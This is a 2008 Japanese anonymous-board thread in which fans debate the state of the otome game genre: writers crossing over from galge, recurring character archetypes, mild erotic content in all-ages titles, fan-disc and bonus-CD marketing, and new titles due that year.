- 643 名前：名無しって呼んでいいか？ ：08/04/20 14:47:31 ID:???
- ＞地道に良ゲーを作る努力をしてくれる企業
CSがメインの乙女ではこれが難しいところだと思う
会社の規模が大きくなるにつれ、開発より上の人の声の方が大きくなるから
やりたいことが出来難くなるし売れなければ先がなくなる
小中規模の会社だと下手なことすればダイレクトに影響を受けるから
あまり売り上げの見込めない乙女には手を出しにくいんじゃないかな
そもそも本気で乙女を作りたいと思ってる人がどれくらいいるのか…
- 644 名前：名無しって呼んでいいか？ ：08/04/23 22:49:05 ID:???
- ギャルゲーとか他ジャンルで良ゲー出してる会社が乙女ゲーに参入してくれたらって意見も見るけど
もしも実際にそうなった場合、乙女ゲーでも良ゲーと評価されるゲームになるんだろうか
ギャルゲーの男女逆転版＝乙女ゲーかって言うとそういう訳じゃないと思うんだよね（ときメモは成功例だと思うけど）
ユアはある意味で乙女ゲーってジャンルの難しさを露呈していたようにも思う
そのライターの技量もあるのかもしれないけど
- 645 名前：名無しって呼んでいいか？ ：08/04/23 22:53:56 ID:???
- ギャルゲ→乙女ゲって数が少ないから
現状じゃなんともいえないんじゃないの
GS版謳ってたのはときメモ、メモオフ、未発売だけどキミキスぐらいだし。
ストカフェやシエスタは判断材料に入れるには微妙すぎる。
- 646 名前：名無しって呼んでいいか？ ：08/04/24 20:20:34 ID:???
- ギャルゲーで良作や泣きゲーみたいに言われてるのは、
キャラクターに感情移入させられるライターの技量が大きいと思う。
ギャルゲーによくある記号的な萌え要素もキャラクターを印象づける役割を果たしてるし
話を進めるうちにキャラに愛着をわかせて、そこから展開で感動させるって基本ができてる。
乙女ゲーは台詞や状況の瞬間的な萌えはあっても話自体にはのめりこめなかったりが多い
思うに、話を進めるうちにキャラに愛着をわかせるという基本の基本ができる
ライターが現在乙女ゲーにいない
- 647 名前：名無しって呼んでいいか？ ：08/04/24 22:21:21 ID:???
- 実際はギャルゲーも乙女ゲーもエロゲーも
同じテキストライターが書いてたりするけどな
- 648 名前：名無しって呼んでいいか？ ：08/04/24 22:24:03 ID:???
- 確かに結構スタッフ被ってる
- 649 名前：名無しって呼んでいいか？ ：08/04/24 22:36:24 ID:???
- たとえギャルゲーで良いシナリオ書いてる人でも、
乙女ゲー作りたいって思ってなければいい乙女ゲーにはならないと思うんだよな
腐女子向けに作ってやんよって姿勢だとユアオフみたいになりそうだし
- 650 名前：名無しって呼んでいいか？ ：08/04/24 22:55:33 ID:???
- ヒューネックスも元々ギャルゲメーカーだったっけ。
まあ、評判よかったのはPC-FXとかその時代の話だけど。
そしてギャルゲのノウハウはありながら、当初乙女ゲ開発は明らかにやる気なし手抜きで
ＩＦ並みの評判だったのが、ラブレボ以降は風当たりが変わった。
まあ、乙女ゲ的界に何かをもたらしてくれたわけでもないけど
- 651 名前：名無しって呼んでいいか？ ：08/04/25 02:16:31 ID:???
- ギャルゲエロゲで評判いい話を乙女ゲーでやっても
「超展開ｗ」とか言って笑われそうな気がしてならない
- 652 名前：名無しって呼んでいいか？ ：08/04/25 10:30:44 ID:???
- ギャルゲーで泣ける良シナリオを書くライターが乙女ゲーに来て書いてくれたとしても
あのゲームのライターだって言うから期待したのに裏切られたとかなりそうな気がするんだよね
たまにそういうレスを他のスレで見かけるけど成功する可能性よりも
先を閉ざす可能性の方を高めてしまう気がしてしまう
ただ、こういう風に考えること自体も発展を妨げてる理由なんだろうなぁとも感じる
- 653 名前：名無しって呼んでいいか？ ：08/04/25 12:35:44 ID:???
- 女キャラは感情の起伏が激しくても違和感ないから動かしやすいんだよ
- 654 名前：名無しって呼んでいいか？ ：08/04/25 17:44:19 ID:SCPtuNt9
- 男性向けと女性向けの萌えどころがそもそも違うから、
ギャルゲで名作と呼ばれる作品を手掛けたがらと言って
乙女ゲでも同じように書けるかと言えば疑問だし、
ギャルゲの大手が参入したところで自分はあまり期待しないけどなあ。
肥や573くらい大手なら人材も資金も豊富だし下手なものを出せないという
プライドもあるだろうから一定のクオリティの物が出るだろうけど
そんなメーカーそうそう無いし。
中堅の工画堂はパレドゥが変わったアプローチだったし
新作にも期待したいけどＰＣ版が有料βになるのは目に見えてるからなー。
- 655 名前：名無しって呼んでいいか？ ：08/04/25 17:45:12 ID:???
- ごめん、あげてもーた…。
- 656 名前：名無しって呼んでいいか？ ：08/04/25 18:11:30 ID:???
- 選択する権利はユーザーにあるんだから選択肢が増えることは別に悪くないんじゃないかな
ユーザーが求めないようなのは当然売れないんだから自然と淘汰されていくだろう
期待できない興味ないってんなら買わないことにすればいいだけでユーザーには何の損もない
まあ大手ギャルゲメーカーはギャルゲ作ったほうが売れるんだから
単に作りたいって理由以外で乙女ゲーつくる理由がないよな
- 657 名前：名無しって呼んでいいか？ ：08/04/26 00:52:06 ID:???
- いろんなスレで目にする「声はいらないからシナリオに力入れろ」とか
「絵微妙…でも好き声優出てるから」みたいのを見るたび思うんだけど、
要するに妥協してるんだよね。だから後々不満が続出→アンチがボヤく
または、妥協したから良い所だけ尊崇→儲がお祭り騒ぎ
みたいな流れになってる気がする。
まあ妥協せざるを得ないっていう現状なのは分かってるんだけど、
やってみたい！と思うのはシナリオも絵も声も全部自分の水準を満たしてるものなんだよね
ﾈ申ゲーなんてまだ望んでないんだ。ただ、すべてが一定基準以上の乙女ゲーが欲しい
せめて恋愛シュミレーションって銘打ってあるなら恋愛描写を丁寧に作って欲しい
この主人公この攻略対象のどこに惚れたんだろう？ってのが多い気がするよ
こういうのはプレイしてるユーザー任せなんだろうか
- 658 名前：名無しって呼んでいいか？ ：08/04/26 14:35:28 ID:???
- 基準が人それぞれだから仕方ないんじゃない？
自分では水準以上だと思う絵でも叩かれまくってるなんてよくあること
ただ2ちゃんのレスを鵜呑みにはしてないけど
＞この主人公この攻略対象のどこに惚れたんだろう？
こいつ（攻略対象）良いやつだなーとか好きになる気持も分かる！
って思えるのが個人的には望ましいな
それが難しいんだろうけど
- 659 名前：名無しって呼んでいいか？ ：08/04/27 09:09:20 ID:???
- >>657
でも恋愛描写に力を入れてしっかり描けていたとしても
最終的には「もっと日常的な事とか他の描写も欲しかった」って思うんじゃないかな
高望みはしないと言いつつ自分が望んだ程度のものが出て来たなら
もっとこうならよかったってのが別に出てくるのは気持ちの上では当然だと思うんだ
だからここでループするんじゃないかなと
良い所は良い所で認めて、悪い所は悪い所で改善して行ってもらえるのがベストなんだろうけど
- 660 名前：名無しって呼んでいいか？ ：08/04/28 22:44:04 ID:???
- ここ最近不思議なんだけど
なんで主人公の外見なしゲームってこんなの少ないんだろうな。
ここ数年の移植やリメイク、主人公継続の続編除いた新作じゃまともにないことに気づいて驚いたんだけど。
他のメーカー（みんな）がそうだから…っていう
保守傾向の表れ？
- 661 名前：名無しって呼んでいいか？ ：08/04/28 22:58:37 ID:???
- 楽な方に流れてるからじゃない？
主人公個性ある方がシナリオ書き易い、
顔ある方がグラにも変化付け易い、って。
顔が無いと攻略キャラのみのグラになって
下手なｹﾞﾝｶﾞｰだと単調になりがちだし。
- 662 名前：名無しって呼んでいいか？ ：08/04/28 23:14:47 ID:???
- 乙女ゲが育ちにくいジャンルっては当たってるとは思う。
あるゲームが目新しいことをしても
それが完成されてなければ、叩かれるだけ。
メーカーもメーカーで成功したのを真似る安全策第一で
別のゲームが未完成だった部分を発展させてくれるわけでもない。
- 663 名前：名無しって呼んでいいか？ ：08/04/28 23:28:50 ID:???
- エロがあればとにかくエロゲに入るように
女主人公で複数の男キャラ落とせるなら
あとはどういう内容だろうと乙女ゲ、
そこから更に○○ゲみたいに細分化してくれる状況が望ましいんだけどな
来るのかな、そういう日は
- 664 名前：名無しって呼んでいいか？ ：08/04/29 07:21:08 ID:???
- あと最近エロっぽいのが多くない？
欲求不満のババアじゃないんだから、そういうのは止めて欲しいよ
エロならPCゲーでやればいいんだから、コンシューマーではやるなよ
- 665 名前：名無しって呼んでいいか？ ：08/04/29 07:34:01 ID:???
- 微エロじゃエロゲもできるババァは萌えないよ
むしろキャーキャー騒いでくれるのは性コミ世代だろ
- 666 名前：名無しって呼んでいいか？ ：08/04/29 10:31:08 ID:???
- 自分も性コミ世代だと思うなぁ…
特にロゼのテキストなんかはそう思った
最近出たやつでエロっぽいのって何かあったかな？
- 667 名前：名無しって呼んでいいか？ ：08/04/29 11:04:18 ID:???
- 関連商品やらイベやら、このジャンルで金落としてくれるのは
圧倒的にコンシュマに微エロなんか求めていないソレより上の世代なのにね。
乙女ｹﾞｰという枠でそうした上の世代を取り込んで、
微エロで性コミ世代も一挙両得、みたいな底の浅さが見えて萎えるよ。
- 668 名前：名無しって呼んでいいか？ ：08/04/29 13:17:49 ID:???
- >>666
思いつくところだとフルキスとロゼ関連、ラスエスシリーズ、マメプリ
一番最近出たのはラスエス2かな
あぁ、フルキスのほうが後か、何か配信みたいなのを含めれば
- 669 名前：名無しって呼んでいいか？ ：08/04/29 14:13:15 ID:???
- >>667
リアの子の方がお金出しやすくないか？
上の世代になると衝動買いしなくなって様子見とか中古外する人が多い気がする
一度に大きな金を出すなら上の世代だけど、新作に飛びつくのは若い人って印象がある
- 670 名前：名無しって呼んでいいか？ ：08/04/29 14:46:12 ID:???
- どうだろう…自分は上の世代ほど衝動買いする印象がある
金持ってるから中古より新品に手を出すだろうし
人柱やネタとしても飛びつけるのでは
- 671 名前：名無しって呼んでいいか？ ：08/04/29 14:58:00 ID:???
- 性コミ世代と思われるリア消や厨は特典コンプのための大人買いや
イベで大枚はたいてグッズ買い漁ったりっていうのも限界あるでしょ。
このジャンル、ゲームだけで利益を回収できるほど市場もデカくないと聞いたし。
- 672 名前：名無しって呼んでいいか？ ：08/04/30 11:22:15 ID:???
- >>669
働いてる独身女性が一番お金出しそう
服飾費や交際費をのけても自由に使えるお金はそれなりにあるし
逆にバイトや小遣いでやりくりしてる層は、一万近くするゲームを買うのは躊躇するんじゃないかな
メーカーからすれば、こういう層が金銭的に一番良いターゲットな気がするんだけど、
やっぱり人口が少ないのかな
- 673 名前：名無しって呼んでいいか？ ：08/04/30 17:45:00 ID:???
- ファミコン世代の自分からすると、乙女ゲの薄い内容で
あの値段設定はボッタクリに思えるんだがなぁ。
社会人になればお金を稼ぐ厳しさも知るし
ある程度年取った人間は金にシビアだと思うんだよねー。
- 674 名前：名無しって呼んでいいか？ ：08/04/30 17:55:24 ID:???
- そんなある程度歳とった人間をターゲットに出した
肥のぼったくりジュエリーは結局売れたんだろか
- 675 名前：名無しって呼んでいいか？ ：08/04/30 18:34:00 ID:???
- ＞ある程度年取った人間は金にシビアだと思うんだよねー。
ケチかどうかは人の性格だから何とも言えないけど、
同じ乙女ゲユーザーで、1ヶ月あたり自由に使えるお金が10万以上の層とと2〜3万の層では、
前者ターゲットにした方がメーカー的においしいと思うんだ
- 676 名前：名無しって呼んでいいか？ ：08/04/30 18:52:45 ID:???
- 年とっていてもゲーム歴長いとは限らないしねえ
- 677 名前：名無しって呼んでいいか？ ：08/04/30 18:57:23 ID:???
- ＞1ヶ月あたり自由に使えるお金が10万以上の層
声優（ドラマＣＤ特典）商法のターゲットがここに含まれてるわけか
いくら声オタでもある程度金が自由にならないと複数買いは無理だし
- 678 名前：名無しって呼んでいいか？ ：08/04/30 19:08:19 ID:???
- 独身OLでお小遣いをある程度持ってる層は満遍なくプレイして広く浅く、のイメージ。
主婦は自由になるお金が限られている分、一点集中型。
アンジェのように一つこれ、と決めたタイトルを延々支えるプレイっぽいイメージ。
- 679 名前：名無しって呼んでいいか？ ：08/04/30 19:08:20 ID:???
- メーカーはアンケートとかでユーザー層を把握してるんだろうけど、どの世代が多いんだろうね
若い子をターゲットにしたような内容のゲームが多いように思うんだけど、実際購入者はどんな人なんだろう
自分が最年長だったら地味に凹むｗ
- 680 名前：名無しって呼んでいいか？ ：08/04/30 19:13:07 ID:???
- アンケートはがきはいっさい出したことがないが、自分がもし出すとしたら
軽く10歳はサバ読んで出すと思うんでｗ、メーカー把握のユーザー層も
あてにならんかもよ
- 681 名前：名無しって呼んでいいか？ ：08/04/30 19:14:17 ID:???
- オトメイトとか不満を言いつつも延々と買い続けてるのは
取り敢えず一度買って、何処かに萌えを感じてしまったか
声優か絵師が好きでそのまま継続してちゃってるのかね
雑誌やコミックスを惰性で買うみたいな感じで
プレイしても一人二人で終わっちゃうし、下手すると特典ＣＤだけ
聞いて積みゲーにしてたり
- 682 名前：名無しって呼んでいいか？ ：08/04/30 19:16:08 ID:???
- 微エロ系が人気なのはユーザーに低年齢層が多いからだと思うんだが
そういうわけでもないのかな
プレイした人全部がアンケートを出すわけでもなし、
メーカー側も把握しきれてなさそうだ
- 683 名前：名無しって呼んでいいか？ ：08/04/30 19:24:55 ID:???
- みんなアンケート出そうぜ！！
- 684 名前：名無しって呼んでいいか？ ：08/04/30 19:29:11 ID:???
- >>682
微エロの多い理由は>>667の
> 乙女ｹﾞｰという枠でそうした上の世代を取り込んで、
> 微エロで性コミ世代も一挙両得
この辺だと思うよ。大は小を兼ねる。
- 685 名前：名無しって呼んでいいか？ ：08/04/30 19:33:39 ID:???
- 腹黒キャラ＝微エロキャラで厨房御用達って感じがする
- 686 名前：名無しって呼んでいいか？ ：08/04/30 19:38:18 ID:???
- お約束キャラもいいけど、そろそろちょっと新しいタイプのキャラも欲しい
- 687 名前：名無しって呼んでいいか？ ：08/04/30 19:47:07 ID:???
- >>681
それ不思議だよなー
1度や2度なら次に望みをかける気持ちもわかるけど
ゲームって惰性で買うほどは安くないし
雑誌みたいに定期的に出るものでもないし
- 688 名前：名無しって呼んでいいか？ ：08/04/30 19:50:02 ID:???
- >>686
乙女ゲー全部プレイしてるわけじゃないけど、出尽くした感あるよね
最近プレイして珍しいタイプだなーと思ったのはときメモGS2の古森と、プティフールの武梨かな
- 689 名前：名無しって呼んでいいか？ ：08/04/30 20:06:21 ID:???
- 新しいタイプ出てもすぐにありきたりに変わっちゃうだけじゃない？
- 690 名前：名無しって呼んでいいか？ ：08/04/30 20:33:54 ID:???
- 腹黒キャラも最初は目新しかったけど、その後増えて
食傷気味になったのを思い出す
基本的に受けたものは二番煎じが溢れて>>689が言う事態になり易い気がする
- 691 名前：名無しって呼んでいいか？ ：08/04/30 20:36:50 ID:???
- >>687
安くないよねー。長く遊べそうなものしか手出さないようになったよ。
昔の乙女ゲとかの方が内容良かった気がする…。
wiiとかでDLさしてくんないかな。
- 692 名前：名無しって呼んでいいか？ ：08/04/30 20:37:15 ID:???
- 攻略対象が複数いる中で、1人ぐらい奇をてらったキャラがいてもいいなとは思う
人気が出るかどうかは別だけど
- 693 名前：名無しって呼んでいいか？ ：08/04/30 20:40:01 ID:???
- このジャンルが出たばかりの頃の方が試行錯誤で実験的なものも多かったよね。
今は特典とか声優とかの商法で、楽して儲かる旨味を知っちゃったメーカーが多いからなあ。
- 694 名前：名無しって呼んでいいか？ ：08/04/30 20:43:38 ID:???
- おっとり優しいor可愛いショタ→腹黒って同人テンプレをそのまま
キャラに持ってくるのは嫌いだな
ある日自分にだけそっちの顔を見せたりするデレツンだと
携帯のムービーでも撮って、ネットに流してやりたい
- 695 名前：名無しって呼んでいいか？ ：08/04/30 20:45:14 ID:???
- >>692
カマとかマッチョとかオッサンとか？
結局その辺は上手く扱わないと、単なるネタキャラになっちゃうからなあ
若い子は自分の好みに合わないとすぐに叩いたりするし
- 696 名前：名無しって呼んでいいか？ ：08/04/30 20:50:32 ID:???
- ときメモもエロになっていてびっくりした
ああいうのをユーザーは望んでいるのかな
スレでは言えないけど自分は苦手だった
ただときメモのは飛ばそうと思えば飛ばせる部分だったけど
- 697 名前：名無しって呼んでいいか？ ：08/04/30 20:50:56 ID:???
- >>693
どういうものが受けるかとか
そういうのがまだよくわかってなかったからこそだろうね。
リサーチするにも、対象が漠然としすぎてた。
今は乙女ゲファンという層もいるし、わざわざ頭を悩ます必要もない。
- 698 名前：名無しって呼んでいいか？ ：08/04/30 20:57:19 ID:???
- オカマやオッサンは数自体がそんなにいないというだけで、別に新しいタイプじゃないと思う。
むしろオッサンで年の差気にして
オカマキャラが途中で男らしくなるとかは
ナンパの本気になったのは初めて系のお約束に近い。
おっさんキャラだし、どうせ年の差ネタでしょって
そういう予想のつかない方向で、何かがあることで
初めて新しいタイプになるんじゃないかな
- 699 名前：名無しって呼んでいいか？ ：08/04/30 21:04:12 ID:???
- 奇をてらったキャラも大きなタイトルで出てこないと
一般的には認識されないってだけじゃなくて？
- 700 名前：名無しって呼んでいいか？ ：08/04/30 21:04:25 ID:???
- これからはキャラソン＋ドラマパート商法が増えていくのかなあ
変な商法ばかりが進化していく
- 701 名前：名無しって呼んでいいか？ ：08/04/30 21:10:30 ID:???
- 途中から付き合うことが出来るならともかく
カップル成立＝ＥＤってゲームならエロ入れないほうが良いと思うんだよなあ
- 702 名前：名無しって呼んでいいか？ ：08/04/30 21:11:18 ID:???
- 狭く深くか
- 703 名前：名無しって呼んでいいか？ ：08/04/30 21:13:51 ID:???
- >702
狭いのは認めるが深いかねえ
どれもテンプレ用意してあるんかってくらいテンプレだし
- 704 名前：名無しって呼んでいいか？ ：08/04/30 21:15:11 ID:???
- >>701
微エロブームのきっかけと言われるフルキスも、交際後からやってるんだよな
それ以前だと風呂でヘブン状態を見るくらいだ
付き合いもしてない、下手すれば初対面の男にセクシャルな
ハラスメントを受けて楽しいのかな
いくら顔と声が良くても、それじゃ只の変質者なのに
- 705 名前：名無しって呼んでいいか？ ：08/04/30 21:16:16 ID:???
- >>703
いや>>700のような商法のこと。
- 706 名前：名無しって呼んでいいか？ ：08/04/30 21:17:43 ID:???
- >705
あ、そういうことか
勘違いスマソ
- 707 名前：名無しって呼んでいいか？ ：08/04/30 21:18:14 ID:???
- >>704
その辺が性ゴミと言われるゆえんなのかもな
- 708 名前：名無しって呼んでいいか？ ：08/04/30 21:20:22 ID:???
- >>668見ると、やるところは大体決まってるように見える。
大手もそういうの取り入れたことで必要以上に目立つようになったんじゃなく
本当に微エロ乙女ゲばっかりになってるの？
- 709 名前：名無しって呼んでいいか？ ：08/04/30 21:21:02 ID:???
- >>696
居ると思うよ
私はGSもコルダも2以降ダメぽ
なんつーか巨乳もロリもすきだけど、
行き過ぎるとヒクのといっしょな感じ
- 710 名前：名無しって呼んでいいか？ ：08/04/30 21:22:40 ID:???
- >>709
遙かは最年長エロだったのをそのまま同世代キャラに
スライドさせたのが失敗だったと思う
そのせいか、キャラ改変＋追加でエロ増量してたし
- 711 名前：名無しって呼んでいいか？ ：08/04/30 21:25:25 ID:???
- >>668
悠久にとあるルートでちょっと強姦されかけというスチルがあった
- 712 名前：名無しって呼んでいいか？ ：08/04/30 21:28:34 ID:???
- ビタミンにもあったよね
- 713 名前：名無しって呼んでいいか？ ：08/04/30 21:31:23 ID:???
- >>711
軍人ルートでシベリア出兵前日にベッドインというのもあったよ
それ以前にそのルートで気になったのはなんで海軍がシベリアに
いくんだYO！ ということのほうだったわけだが
- 714 名前：名無しって呼んでいいか？ ：08/04/30 21:33:17 ID:???
- 個人的には、ベッドインしたって事実だけの描写なら微エロにならんな
少コミだって朝チュンだけなら今みたく騒がれんかったろうし
- 715 名前：名無しって呼んでいいか？ ：08/04/30 21:33:52 ID:???
- >>713
そのゲームは知らないが、日露戦争？第一次大戦？
- 716 名前：名無しって呼んでいいか？ ：08/04/30 21:34:03 ID:???
- ドラキラ？もなんか微エロを意識した宣伝してないか
- 717 名前：名無しって呼んでいいか？ ：08/04/30 21:36:19 ID:???
- >>716
そもそも吸血鬼って素材の時点で狙いじゃないの
- 718 名前：名無しって呼んでいいか？ ：08/04/30 21:36:46 ID:???
- >>714
スチルあり。服は脱いでいないが、ベッドに押し倒している
>>715
第一次大戦直後だな
- 719 名前：名無しって呼んでいいか？ ：08/04/30 21:36:49 ID:???
- でもデュエルやどらきあってネタ扱いされてないか。
一般サイトではエロイって反応だったんだろか？
- 720 名前：名無しって呼んでいいか？ ：08/04/30 21:40:45 ID:???
- >>717
確かにそうか
雑誌の描きおろしも攻略キャラの裸だったりでビックリだ
絵柄のせいか艶っぽさは感じられなかったけど…
- 721 名前：名無しって呼んでいいか？ ：08/04/30 21:42:17 ID:???
- >>718
ありがとう
なんか、突っ込ませるための設定のようなゲームだな
- 722 名前：名無しって呼んでいいか？ ：08/04/30 21:46:02 ID:???
- 半端なエロ狙いほどエロくないんだよな〜…そこがまたしらけるというか
- 723 名前：名無しって呼んでいいか？ ：08/04/30 21:48:15 ID:???
- >>722
まったく同感だ
- 724 名前：名無しって呼んでいいか？ ：08/04/30 22:49:23 ID:???
- 微エロ微エロと過剰反応してるような気がすることもある
ただでさえあれは嫌いこれはイヤだと言われているジャンルだし
少しでも表現の幅は広くあってほしいけどな
いきなり意味もなくエロをほのめかされるのは困るけど
演出としてあえてそういう要素を用いるのは悪いことじゃないと思う
- 725 名前：名無しって呼んでいいか？ ：08/04/30 23:39:48 ID:???
- >>724
いいこと言った。
久しぶりに来たけど、ずっと同じ話題ループしてるよね。
途中の流れであった、続けてほしいもの・続けてほしくないもの
聞かれれば意外とゲームの中身じゃなくて、売り方とかが挙がってたね。
もっと突っ込んで聞きたい。
- 726 名前：名無しって呼んでいいか？ ：08/05/01 08:54:47 ID:???
- 明らかに「追加があるんだろうなぁ」って思わないくらいしっかりゲームが出来ている事
キャラ改変がない事が前提ならばFDもありだと思うんだけど
本当に満足出来ればFDだったり後日談が見たいと思わないものなのかな
- 727 名前：名無しって呼んでいいか？ ：08/05/01 09:30:19 ID:???
- 自分の場合コルダ1が大好きで2の発表の時は飛び上がるほど喜んだ
スレ住人も祭りで一日1スレ以上回ってたｗ
いざ発売されたら理事は落とせないしがっかりした
- 728 名前：名無しって呼んでいいか？ ：08/05/01 10:17:47 ID:???
- 製作側はＦＤや追加ディスクを作るつもりは無いくらいの気持ちでゲーム作って欲しい
- 729 名前：名無しって呼んでいいか？ ：08/05/01 14:13:29 ID:???
- FDはいいんだよ
ただFDはあくまでFDであって
追加攻略キャラあります＾＾
とかじゃだめなんだよ
そういうのは本筋で力入れてやれっつーの
- 730 名前：名無しって呼んでいいか？ ：08/05/01 20:07:59 ID:???
- 本編には全く登場しなかった追加攻略キャラ or
本編に登場して脇役だったのが意外に人気が出て
一年くらいして出たFDで新たに攻略可能、とかなら許せる。
萎えるのは、思わせぶりな台詞を吐いていかにも全クリアとかで
攻略できそうな雰囲気を漂わせながら結局手を出せず、
本編発売後数ヶ月でFDのアナウンス、半年くらいでFD発売
とかなんだよなあ。
もう最初から次のお布施のための撒き餌状態。
- 731 名前：名無しって呼んでいいか？ ：08/05/02 16:04:14 ID:???
- 肥の、散々アピールしておいて結局落とせませんでした、ってやり方は心底むかつく
エーデルの章を丸々削除して真相がさっぱりわからないってのは作品として終わってる
- 732 名前：名無しって呼んでいいか？ ：08/05/02 22:45:14 ID:???
- >>730
ソフトより特典の方が高いソフト出す会社ですから
- 733 名前：名無しって呼んでいいか？ ：08/05/02 22:55:12 ID:???
- 自分はあらすじとか どういう遊びなのか で買うゲーム決めるのでピンとこないんだけど
プレイする前にキャラ見て「こいつ落としたい！」って思って買う人は結構多いのかな。
- 734 名前：名無しって呼んでいいか？ ：08/05/02 23:09:23 ID:???
- どうだろ。
よっぽど見た目が好みど真ん中とかならアリかもしれないけど、
性格も重要だし、
やっぱプレイしてみないとなんともいえないなぁ
そういう点において、
実はちょっとした小ネタSSなんかがあるとキャラに興味惹かれやすいと思うんだけど
昨今そういう販促のためのものですらカネ搾り取ることばっかな印象なんだよね
ヲタは一人が大量にカネ落とすから成立するのかもしれないけど
どんどんディープでない人が脱落していくだけだと思うんだけどねぇ
- 735 名前：名無しって呼んでいいか？ ：08/05/03 02:30:43 ID:???
- ちょっと小耳にはさんだんだけど
某乙女ゲーブランドが夏コミかなんかに参加して
声優イベント開催したまではいいんだけど当の
主催者達はそっちのけで同人誌買い漁ってて、
結局それに出た声優がイベント仕切ってたっていう
見事なKYぶりを発揮したってのを聞いたんだけど
これ本当？さすがにあっちゃだめだよな
- 736 名前：名無しって呼んでいいか？ ：08/05/03 02:35:37 ID:???
- それだけ詳しければ本当かどうかもわかってるんじゃないのかね
- 737 名前：名無しって呼んでいいか？ ：08/05/03 08:14:44 ID:???
- うん、ブランド名まで分かってるみたいだからな
- 738 名前：名無しって呼んでいいか？ ：08/05/03 14:14:11 ID:???
- >>735
イベント当日だからって変な工作すんな
- 739 名前：名無しって呼んでいいか？ ：08/05/03 20:40:48 ID:???
- あさき、ゆめみし（PC）
drastic Killer（PS2）
トゥルーフォーチュン（PS2）
Real Rode（PS2）
三国恋戦記 〜オトメの兵法！〜（PC）
年内販売予定で新規参入メーカーの乙女ゲーがあとこれだけあるがどうなることやら・・・・
新規は嬉しいけど微妙に外してる感じのゲームが多い気がする
自分はADVでもｸﾛｽﾁｬﾝﾈﾙみたいなのなら好なのでぐっと世界観に惹きこまれるような
読ませる乙女ゲーが出て欲しいんだよな
- 740 名前：名無しって呼んでいいか？ ：08/05/03 20:43:21 ID:???
- >>739
リアルロデは発売元が違うだけで
ほとんどラブレボスタッフじゃない？開発もヒューネックスだし。
ｳﾞｧﾝﾃｱﾝがIFとD3、どっちで出いかの違うぐらいな気がする。
どちらかといえば、D3の漫画家ゲーの方が新規な印象。
- 741 名前：名無しって呼んでいいか？ ：08/05/03 20:48:59 ID:???
- >>740
角川だけどどう見ても由良ゲーだから省こうかと思ったけどこれはやっぱ
新規っぽくないよな。ｽﾏﾝ
D3の漫画のはなんとなくムスコのスタッフが噛んでそうだとｴｽﾊﾟｰしてる
あさき〜と三国はPCだけどやっぱそのうち移植すんのかなー
ゲームそのものが完成されてて良い出来で人気だから移植なら良いけど
はじめから移植の追加要素前提の制作だと萎えるんだぜ
- 742 名前：名無しって呼んでいいか？ ：08/05/03 20:58:11 ID:???
- このうち、2作目以降もリリースする常連メーカー（ブランド）はいくつになるかな。
ほとんどが1作目で終わりなんて悲しい結果にならんことを願う
リアルロデはゲーム内容より
発売後の展開に興味があるな。
ラブレボでの経験（？）をどう活かすか…。
- 743 名前：名無しって呼んでいいか？ ：08/05/03 21:07:19 ID:???
- 新規の内あさきと三国は18禁ＢＬ、トゥルーはギャルゲのスタッフが
関わってるってとこがちょっと興味深いな
ユアの前例もあるし、必ずしも斬新でいい物ができると思ってるわけじゃ
ないけど別ジャンルの人材ならではの一味違う出来を少し期待している
- 744 名前：名無しって呼んでいいか？ ：08/05/03 21:16:00 ID:???
- >>739
通りすがりで全部初耳だけど、
トゥルーフォーチュンはよくあるタイプの乙女ゲーだけど正統派そうだし、
三国恋戦記は、タイトルはアレだけど正史ちゃんと踏まえてそうだし、
あさき、ゆめみしやReal Rodeは世界観が面白そうだ。
drastic Killerは・・・まあ、アレな感じで笑えるけど音楽が良さそう。
いきなりクロスチャンネルレベルのものが出るわけないし、
とりあえず出てから考えてみては？
- 745 名前：名無しって呼んでいいか？ ：08/05/03 21:45:29 ID:???
- 三国恋戦記は雑誌で見かけて昨今のエロブームに抗って割と純な
恋愛してくれそうな印象で個人的に楽しみにしてる
ドラキラは知らないけど他もある程度実績のある人たちが作ってくれると
なると多少期待感高まる
今の所発売前のユアオフに感じたような微妙感はそれほどない
- 746 名前：名無しって呼んでいいか？ ：08/05/03 22:05:27 ID:???
- 私も今のところどれも期待してるな
どらきらはラブスティールとかその気度は苦笑いするしかないけど
ライターが結構好きなんで自分の中では期待度高いｗ
どこも頑張って欲しいなあ
- 747 名前：名無しって呼んでいいか？ ：08/05/03 22:16:35 ID:???
- 雑談スレになってますよ
- 748 名前：名無しって呼んでいいか？ ：08/05/03 22:57:31 ID:???
- 乙女ゲってカッコイイ系の設定で固めてることが多いから
ラブスティールみたいなノリは珍しい気がする
魔女っ子ものみたいな雰囲気と言うか
いろんな会社がいろんな試みをしてくれるのは正直うれしいな
受けなければそれでおしまいなんだけどさ…
- 749 名前：名無しって呼んでいいか？ ：08/05/03 22:59:57 ID:???
- カッコイイ系って例えばどんな？
多いかな…
- 750 名前：名無しって呼んでいいか？ ：08/05/03 23:10:34 ID:???
- >>739が全てノベル系ADVじゃないところは
このジャンルの救いだとは思う。
もっとも、トゥルーフォーチュンはTLS、キミキスからの流用だろうし
リアルロデとどらきあのシステムはあんまり活かされてない（最悪、ない方がマシだったとか）
ってオチになる可能性も強いけど、ジャンルで選べる余地があるのはいいことなのに変わりはない。
- 751 名前：名無しって呼んでいいか？ ：08/05/03 23:23:36 ID:???
- >>749
具体的にとか上手く言えないんだけど
カッコイイ系は夕方6時からテレ東系列でやってるアニメ
ラブスティールは日曜朝9時とかにテレ朝系列でやってるアニメ
のようなイメージの差がある、もちろん個人的にだけど
- 752 名前：名無しって呼んでいいか？ ：08/05/03 23:29:05 ID:???
- ラブスティールって新たな乙女ゲかと思ったら
どらきあのことか
- 753 名前：名無しって呼んでいいか？ ：08/05/03 23:33:14 ID:???
- そりゃいくらなんでも主観的過ぎる判断基準ｗ
＞日曜朝9時とかにテレ朝系列でやってるアニメ
なら幼女向けのゲームが結構あるし
- 754 名前：名無しって呼んでいいか？ ：08/05/03 23:44:05 ID:???
- ラブスティール 乙女ゲームでググって
テンキーが関ってることに初めて気づいた。
乙女ゲ経験そこそこあるなら、良くも悪くも普通な感じになりそうだな…。
なんだか残念な気持ちも強いｗ
- 755 名前：名無しって呼んでいいか？ ：08/05/03 23:45:17 ID:???
- ドラキラこそ深夜アニメっぽいノリに見えるけどな自分は
微エロ要素有りでイケメンパラダイスだずぇーみたいな
朝のアニメと聞くとはぴcureを思い浮かべる
- 756 名前：名無しって呼んでいいか？ ：08/05/03 23:54:28 ID:???
- ドラキラ、キャラが裸シーツで寝転がってる描き下ろし絵がビズログであった
ただ、まったく艶っぽいものを感じなかったが。
全年齢乙女でこういうあからさまなエロ狙いはもういい加減にしてほしいんですが。
エロやりたいなら正々堂々18禁いけばいい
